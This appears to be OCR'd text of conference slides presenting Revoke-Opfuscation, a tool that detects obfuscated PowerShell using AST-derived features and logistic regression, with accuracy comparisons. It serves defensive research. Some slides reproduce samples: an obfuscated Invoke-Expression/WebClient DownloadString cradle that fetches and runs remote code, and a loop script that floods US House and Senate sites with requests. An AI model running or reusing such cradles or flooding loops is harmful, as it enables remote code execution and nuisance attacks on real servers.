).Split(" ') -Join'"; IE'X SDecodedCommand}
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THIS ISN'T NORMAL!

EN Windows PowerShell ISE - O W

File Edit View Jools Debug Add-ons Help

..... symbolicps1 X -

| Untitled - Motepad — [ > : $0)31

File Edit Format View Help ${"}- "[" ::TE-?{}J" () {sti{}iu Sally :EEH;
a i y H ¢ i dryig E W

&("{0}{2}{3}{1}{4}"-f "In", e’, "voke- SO SIS L S G e
Exp','r', 'ssion’) (&( "{2HOH1}"-f w- Rt o0 o4 S O SUISCHS(E) 1)
Obje', 'ct', 'Ne') ( "{@M1M2}{3}"-f SIS IslEn  SUIOSESIN | SIs(stes
‘N, 'et.', 'Web', 'Client') ).("{0H{3}{1}
{2 }{1:].} "-f'Downl’,'ad’,'S", 0", "tring’ Ps C:\Users\lee> C:\temp\symbolic.ps1
). Invoke(( "http" + ":'+°/ '+ " /bi’ e ord

+ .1y '+ /L3glt" )

Ps C:\Usersilee> |

Ln4 Col 18 1009



PS > Measure-CharacterFrequency C:\temp\tokenall.psl | Select

Name Percent

wwwwoohadJo

PS > Measure-CharacterFrequency C:\temp\symbolic.psl | Select

Name Percent




COSINE SIMILARITY

n
A; B;
AB &

similarity = cos(#)

~|AlIBl (= .
> ALY B
i=1 i=1




:\PowerShellCorpus\PoshCode]
> md c:\temp\randomscripts
dir | Get-Random -Count 20 | Copy-Item -Destination C:\temp\randomscripts
copy C:\temp\symbolic.psl C:\temp\randomscripts
copy C:\temp\tokenall.psl C:\temp\randomscripts
dir C:\temp\randomscripts\ | % {
$scriptFrequency = $ | Measure-CharacterFrequency.psl
$sim = Measure Vector81m11ar1ty SglobalFrequency S$scriptFrequency
—Key bperty Name -ValueProperty Percent
[PSCustomObject] @{ Name = S .Name; Similarity = Ssim }
>>> )}

Similarity
43a28al15-5023-4feb-a’/lf-abe9baalf?2a6.psl
Fxport-PSCredential 4.psl
Get-BogonList 1.psl
Get-Netstat 1.9.psl
Get-Parameter 8.psl
group-byobject 4.psl
IADsDNWithBinary Cmdlet 1.psl
Import-ExcelToSQL 2.psl
Invoke-Sgl 2.psl
List AddRemovePrograms.psl
Lock-WorkStation.psl
Monitor-FileSize 1.psl
symbolic.psl
Reverse filename sequenc.psl
scriptable telnet client 2.psl
Set Active Sync DevicelID.psl
SharePoint Large Lists 1l.psl
Show-Sample 1.psl
Start-Verify.psl
tokenall.psl

oloNoloNolelNelololNololololollole)



Similarity




> We need more data!'

So we ran a little contest...

PowerShell Team Blog

the Underhanded PowerShell Contest

ell Team

ion ¢ 'dpahilll‘_'

+ "shal™)

lue Team™. In the

'l be




> We need more data!

and created a huge PowerShell corpus

Underhanded PowerShell
GitHub

GitHub Gists

PoshCode

PowerShell Gallery
TechNet
Invoke-Obfuscation
Invoke-CradleCrafter
ISE Steroids Obfuscation




> We need more data!

Politely of course ...

Underhanded PowerShell
GitHub

GitHub Gists

PoshCode

PowerShell Gallery
TechNet
Invoke-Obfuscation
Invoke-CradleCrafter
ISE Steroids Obfuscation




Dq Get-GithubRepository.ps1 - Visual Studio Code

File Edit Selection View Go Debug Help
[}) GetGithubRepositorypst X

1 bar‘am(
2 [PsCredential]
p H $Credential

? ‘ = e}

$headers =
Z if($Credential)

$networkCredential = $Credential.GetNetworkCredential()
1 1 $user = $networkCredential.Username
ol 11 $pass = $networkCredential.Password

13 $pair = "${user}:${pass}"
15 $hytes = [System.Text.Encoding]::ASCII.GetBytes($pair)

16 $base6a = [System.Convert]::ToBase64String($bytes)
17 $basicAuthvalue = "Basic $base64"

18 $headers = @{ Authorization = $basicAuthvalue }
19}

21 $last = @

22 if(Test-Path repositories.csv)

23 {

a $lastItem = Get-Content repositories.csv -Tail 1 | ConvertFrom-Csv -Header Id,Name,html_url,description,languages
25 $last = $lastItem.Id

function Ensure-RateLimit

{
do
{
$limit = (Invoke-RestMethod -uri “"https://api.github.com/rate_limit" -Headers $headers).Rate
if(([int] $limit.Remaining) -1t 18@)
{
Write-Progress (“"Waiting. Rate limit resets in: " +
([System.DateTimeOffset]: :FromUnixTimeSeconds($limit.Reset).TolLocalTime().DateTime - (Get-Date)))
Start-sleep -Seconds 60
4 } while($limit.Remaining -1t 10)
a1}
43 while($true)
aa
5 Ensure-RateLimit
$repositories = Invoke-RestMethod -uri "https://api.github.com/repositories?since=$last” -Headers $headers
a7 if(-not $repositories)
48 {
49 break
5 ¥
$firstRepository = $repositories[e]
Write-Progress ("Processing repository {@}: {1} - {2}" -f $firstRepository.Id,$firstRepository.Name,$firstRepository.Description)
foreach($repository in $repositories)
{
Ensure-RateLimit
$outputobject = $repository | Select-object Id,Name,html_url,Description,Llanguages
$languages = (Invoke-RestMethod $repository.languages_url -Headers $headers).PSObject.Properties.Name -join ":"
$outputobject.Languages = $languages
62 $outputobject | Export-Csv repositories.csv -Append -NoTypeInformation
63 $last = $repository.id
4 ¥
5}

Code

In1,Col 1 Spaces:

UTF-8 CRLF PowerShell



Dq Get-GithubRepository.ps1 - Visual Studio Code

File Edit Selection View Go Debug Help

o

=1
LA

Get-GithubRepository.ps1 X
bar‘am(
[PsCredential]
$Credential

$headers = @{}
if($Credential)
{

$networkCredential = $Credential.GetNetworkCredential()

$user = $networkCredential.Username
$pass = $networkCredential.Password

$pair = "${user}:${pass}"

$hytes = [System.Text.Encoding]::ASCII.GetBytes($pair)
$base6a = [System.Convert]::ToBase64String($bytes)

$basicAuthvalue = "Basic $base6a”
$headers = @{ Authorization = $basicAuthvalue }

$lastItem = Get-Content repositories.csv -Tail 1 | ConvertFrom-Csv -Header Id,Name,html_url,description,languages

}
¢$last = @
if(Test-Path repositories.csv)
{
$last = $lastitem.Id
}

function Ensure-RateLimit

$limit = (Invoke-RestMethod -uri “"https://api.github.com/rate_limit" -Headers $headers).Rate

([System.DateTimeOffset]: :FromUnixTimeSeconds($limit.Reset).TolLocalTime().DateTime - (Get-Date)))

api.github.com/repositories?since=$last” -Headers $headers

- {2}" -f $firstRepository.Id,$firstRepository.Name,$firstRepository.Description)

Id,Name,html_url,Description, Languages

languages_url -Headers $headers).PSObject.Properties.Name -join

-Append -NoTypeInformation

{
do
{
if(([int] $limit.Remaining) -1t 18@)
{
Write-Progress (“"Waiting. Rate limit resets in: " +
Start-sleep -Seconds 60
} while($limit.Remaining -1t 10)
}
while($true)
{
Ensure-RateLimit
$repositories = Invoke-RestMethod -uri "https:/
if(-not $repositories)
{
break
¥
$firstRepository = $repositories[e]
Write-Progress ("Processing repository {e}: {1}
foreach($repository in $repositories)
{
Ensure-RateLimit
$outputobject = $repository | Select-object
$languages = (Invoke-RestMethod $repository.
$outputobject.Languages = $languages
$outputobject | Export-Csv repositories.csv
$last = $repository.id
¥
}

Code

Canadian

In1,Col 1 Spaces:

UTF-8 CRLF PowerShell



> But first, a word of thanks
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> Guess What We Found?




JRemove-Games.pﬂ X W

% ﬁf\\f AWAVAYAVAVALYAWAYVALY AWAYVALYVAWVAY AW A VALY AW AVAV AW AVAVAVAVAN
3 # Script Name: Remove-Games.psl
4 # Title: Remove Games
5 # Version: 1.0
6 # Author: John W. Cannon <johnwcannon at_gmail_dot_com>
7 # Date: September 20, 2011
8 #
9  # Description: This tool removes the built-in games
10 # from Windows XP (tested on SP3)
11 #
S VANVANVANVANVANVANVANVANVANVANVARVANVANVARVARVARVANVANVANVANVANVARVARVANVARVAR VAN
13
14

15 #0btain processes and kill any running games

16 $a = Get-Process #Get a list of running processes
17

18 #Ki11 Freecell

19 =If ($a | Where-Object {5_.ProcessName -eq "freecell"}){ .

20 Stop-Process -name freecell -Force

21 b

22 #1111 Zone.com client B“H Klll
23 2If (%a | where-object {5__ProcessName -=q "zClientm"}){

24 Stop-Process -name zClientm -Force

25 1 .
26 #Kill Hearts https://ci.memecdn.com/6795487 .jpg
27 =If (%a | where-object {5__ ProcessName -=q "mshearts"}){

28 stop-Process -name mshearts -Force

29

30 #Kill Internet Backgammon

31 =If (%a | where-object {5_.ProcessName -=q "bckgzm"}){
32 Stop-Process -name bckgzm -Force

33 }

34 #1111 Internet Checkers

35 = If (%a | where-object {5__ ProcessName -=q "chkrzm"}){

36 Stop-Process -name chkrzm -Force
37 1

83 #Remove the Games folder from the All Users profile because it 1isn't deleted by sysocmgr
84 Remove-Item 'c:‘\\Documents and Settings‘\\All Users‘\\Start Menu‘\Programs‘\Games' -Force -WarningAction SilentlyContinue -Recurse



Down with SOPAlps1 X

1 El=#

2 | .Synopsis

3 |Let's fill the logs of the US House and Senate servers with the message we don't want SOPA or E-Parasite!
4 | .Description

5 |Runs an while(1l) loop that grabs a couple URI's from each branch's website and sleeps for 1 second between requests.
& | #=

8 # twitter tags

9  #occupylUSSenate
10  #occupyUSHouse
11 #sopa
12  #eparasite
13
14 Dwhile(1){
15 = tryf
16 (new-object net.webclient).downloadstring("http:/ /www.house.gov/downwithsopa™) Out-Null;
17 1 catch{}
18
19 = try{
20 (new-object net.webclient).downloadstring("http://www.senate. gov,/downWithE-Parasite")
21 } catch{}
22
23 sleep 1;
24 |}
25

SOPA — Stop Online Piracy Act

https://s-media-cache-ak0.pinimg.com/originals/d8/50/58/d850584c02 689c9f4d4a092028ed6a59.jpg



> We need more data'

Some statistics

Underhanded PowerShell 408,665 Scripts

GitHub 28,748 Authors
GitHub Gists

PoshCode Manually labeled ~7,000 scripts

PowerShell Gallery Found ~1600 obfuscated scripts
TechNet

Invoke-Obfuscation Obfuscated ~4000 scripts with
Invoke-CradleCrafter - existing frameworks

ISE Steroids Obfuscation




Similarity




Effectiveness

We will run this experiment with various vector similarity requirements, and compare false
positive/negative rates at each of these requirements. The following chart helps to visualize the data (X-
axis is similarity requirement, Y-axis is false positive/negative percentage):

—

50.00

N ]

N

N
N ]
N
N/
N
~__

0.75 0.8 0.85

==g==False Negative Rate  ==#==False Positive Rate




relevant elements
I 1

false negatives true negatives

true positives false positives

selected elements

How many selected How many relevant
items are relevant? items are selected?
Precision = Recall = —

https://en.wikipedia.org/wiki/Precision_and_recall

Accuracy
Precision
Recall

F1 Score

True Positives
False Positives
True Negatives

False Negatives

0.71
0.89
0.37
0.52

0.16
0.02
0.55
0.27



> Surely we can do better!




Yes!

"N €\ [10.0.15063.0 (WinBuild.160101.0800)]

Generic

:\]

:152 > $tokens = @(Q)

2N

:153 > fast = [System.Management.Automation.Language.Parser]::ParseInput(

:\ 1]
:154 > $tokens | Format-Table

Text TokenFlags

Get-Command CommandName
-Name None

ParseModeInvariant

"{1}{0}" ParseModeInvariant
-t BinaryPrecedenceFormat, BinaryOperator, DisallowedInRestrictedMode
"-Process" ParseModeInvariant
UnaryOperator, ParseModeInvariant
ParseModeInvariant
ParseModeInvariant
ParseModeInvariant

"

3
"Get

Get-Command -Name ("{1}{0}"

LParen

Parameter StringExpandable

Kind HasError

Generic
Parameter

LParen
StringExpandable
Format
StringExpandable
Comma
StringExpandable
RParen
EndofInput

"-Process"  "Get")

Format

StringExpandable

, [ref] $tokens, [ref] $null)

Extent

Get-Command
-Name

"{1r{03"
-f

"-Process"

"

I’I
Get

)

Comma

RParen

StringExpandable



ScriptBlockAst

.

NamedBIockAst: Begin

Yes!!

<

NamedBIc;ckAst: End

v

StatementAst

v

PipelineAst
v

CommandAst

d

AW

StringConstantExpressionAst

CommandParameterAst

ParenExpressionAst

v
PipelineAst
v

BinaryExpressionAst

Left: StringConstantAst

V A

Operator: Format

Right: ArrayLiteralAst

d

\

0: StringConstantExpressionAst

1: StringConstantExpressionAst

Get-Command -Name ("{1}{0}"

Generic

"-Process"  "Get")

LParen Format

Parameter StringExpandable

Comma RParen

StringExpandable StringExpandable



The Mighty PowerShell AST

! Ast Explorer

SiScriptBlockAst [©,48)

=-NamedBlockAst [©,48)
= PipelineAst [©,48)
=-CommandAst [©,48)

StringConstantExpressionAst [0,11)
-CommandParameterAst [12,17)
=-ParenExpressionAst [18,48)
B PipelineAst [19,47)
=-CommandExpressionAst [19,47)
E-BinaryExpressionAst [19,47)
| StringConstantExpressionAst [19,27)
E-ArraylLiteralAst [31,47)
StringConstantExpressionAst [31,41)
i StringConstantExpressionAst [42,47)

Property Value Type

Attributes System.Collections.Obje... AttributeAst[]
UsingStatements System.Collections.Obje... UsingStatementAst[]
ParamBlock ParamBlockAst
BeginBlock NamedBlockAst
ProcessBlock NamedBlockAst
EndBlock Get-Command -Name ("{1}... NamedBlockAst
DynamicParamBlock NamedBlockAst
ScriptRequirements ScriptRequirements
Extent (1,1)-(1,49) IScriptExtent
Parent Ast

et-Command -Name ("{1}{@}" -f "-Process","Get")

https://github.com/Izybkr/ShowPSAst




> Identifying Obfuscation

Using context to detect obfuscation techniques

h

— Distribution of AST types
— Distribution of language operators
- Assignment, binary, 1nvocation,
— Array S1zes
- Statistics within each AST type
- Character frequency, entropy, length (max, min, median,
mode, range), whitespace density, character casing,
- Statistics of command names, .NET methods, wvariables..



> 4098 Features!




> Calculating Obfuscation
What do we do with all these features?

- Result = Bias + (F1 * Weightl) + (F2 * Weight2) + (..)
- Tf(Result > Limit) { Obfuscated = True }

h



Logistic Regression

26 -10 10 20 30 40 50 60 s —4 -2 0 2 4 6

https://en.wikipedia.org/wiki/Logistic_regression



> Calculating Obfuscation
What do we do with all these features?

- Result = Bias + (F1 * Weightl) + (F2 * Weight2Z2) + (..)
- Tf(Result > Limit) { Obfuscated = True }




Calculating Weights NN

If at first you don’t succeed...

Result = Bias + (F1 * Weightl) + (F2 * Weight2) + (..)
ExpectedResult = (From labeled data)
Error = Result - ExpectedResult

Adjust each weight according to how much they contributed
to the error. Do this a 1lot.

https://en.wikipedia.org/wiki/Stochastic_gradient_descent



relevant elements
I 1

false negatives true negatives

selected elements

How many selected How many relevant
items are relevant? items are selected?

Precision = Recall = ——

https://en.wikipedia.org/wiki/Precision_and_recall

Accuracy
Precision
Recall

F1 Score

True Positives
False Positives
True Negatives

False Negatives

Cosine

Similarity

0.71
0.89
0.37

0.52

0.16
0.02
0.55

0.27

Logistic Regression with
Gradient Descent

0.96
0.96
0.95

0.96

0.41
0.01
0.55

0.02



relevant elements
I 1

false negatives true negatives

selected elements

How many selected How many relevant
items are relevant? items are selected?

Precision = Recall = ——

https://en.wikipedia.org/wiki/Precision_and_recall

Cosine Logistic Regression with

Similarity Gradient Descent
Accuracy 0.71 0.96
Precision 0.89 0.96
Recall 0.37 0.95
F1 Score 0.52 0.96
True Positives 0.16 0.41
False Positives 0.02 0.01
True Negatives 0.55 0.55
False Negatives 0.27 0.02

10x better at finding obfuscated content
Half the false positives




> What about Sketchy stuff?

Hunting and Deep Investigations

EJ Windows PowerShell ISE

Eile Edit View Jools Debug Add-ons

Ps C:\Users\lee» C:\temp\symbolic.psi
Hello, world!

PS C:\Users'lee>

Ln4 Col 18

g Add-ons Help

Get-WmiObject -Class Win32_ MountPoint
where {$_.Directory ‘Win32_Directory.Name="D:\\\\MDBDATA*"’}

—-foreach {
$vol
Get-WmiObject -Class Win32_Volume | where {$_.__RELPATH $vol}

Select
@{Name
@{Name
@{Name
@{Name

$ .Volume

@{Name-"Folder"; Expression-{%_.Caption}}

"Server"; Expression={$_.SystemName}}

"Size (GB)"; Expression-{"{@:F3}" $(% .Capacity / 1GB)}}

"Free (GB)"; Expression={"{@:F3}" $($_.FreeSpace / 1GB)}}
"%Free"; Expression={"{@:F2}" $(($_.FreeSpace/% .Capacity)*100)}}




relevant elements Cosine Obfuscated Sketchy

false negatives true negatives Similarity

®e ¢ ©° o Accuracy 0.71 0.96 0.88
Precision 0.89 0.96 0.86
Recall 0.37 0.95 0.89
F1 Score 0.52 0.96 0.88
True Positives 0.16 0.41 0.43
selected elements False Positives 0.02 0.01 0.07
jouramsebsed | youmon el TS e 023 023 043
False Negatives 0.27 0.02 0.05

Precision = Recall = —_

https://en.wikipedia.org/wiki/Precision_and_recall



> What about other algorithms?

Beyond Logistic Regression & Gradient Descent

= Microsoft Azure Machine L earning Studio © ®» 32 O &

Saved Datasets
4 My
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Tempg

Samples

Mini Map

+ Upload of the dataset "Analyzed(C: esv' has oK @

& new 2.

D
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SAVE AS R n RUN SETUPWEB PUBLISH 1O —
SERVICE GALLERY



> Demo Time!
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Tool
Author
Twitter
Blog
Github
Version
License
Notes

MENU ::

[*] TUTORIAL
[*] FUNFACTS
[*] ASCII
[*] QUOTES
[*] CREDITS

Revoke-Obfuscation

Daniel Bohannon (DBO) & Lee Holmes

@danielhbohannon & @Lee_Holmes
http://danielbohannon.com & http://leeholmes.com/blog/
https://github.com/danielbohannon/Revoke-Obfuscation
1.8

Apache License, Version 2.8

if (-not $caffeinated) { exit }

Available options shown below:

Tutorial for those who are anti-README

Fun Facts about Revoke-Obfuscation

Random ASCII Art hand-picked from the corpus
Set of Fun Quotes

Credits for those involved in this research

Revoke-0Obfuscation>







Command Prompt - powershell

PS C:\> .






> Demo Time!

Want to operationalize?
We’ve built in a few whitelisting options...

WHITELISTING :: Finally, there are three whitelisting options built into the framework in two different locations:

1) On Disk (automatically applied if present):
A) .\Whitelist\Scripts To Whitelist\ -- Scripts in this directory are whitelisted by hash.
B) .\Whitelist\Strings To Whitelist.txt -- Scripts containing ANY string in this file are whitelisted.
C) .\Whitelist\Regex To Whitelist.txt -- Scripts containing ANY regex in this file are whitelisted.

2) Arguments for Measure-RvoObfuscation (applied in addition to above whitelisting options):
A) -WhitelistFile .\files\*.ps1,.\more_ files\*.ps1,.\one more file.psl
B) -WhitelistContent 'string 1 to whitelist','string 2 to whitelist'
C) -WhitelistRegex 'regex 1 to whitelist', 'regex 2 to whitelist'



> Thank you!

# Release
https://github.com/danielbohannon/Revoke-Obfuscation

3

# References

https://www.leeholmes.com/blog/2015/11/13/detecting-obfuscated-powershell/
https://github.com/danielbohannon/Invoke-Obfuscation
https://www.leeholmes.com/blog/2016/10/22/more-detecting-obfuscated-powershell/
https://msdn.microsoft.com/en-us/magazine/dn913188.aspx

https://blogs.msdn.microsoft.com/powershell/2015/06/09/powershell-the-blue-team/

# Contact
@DanielHBohannon (@Lee Holmes

Now go. Find Evil.



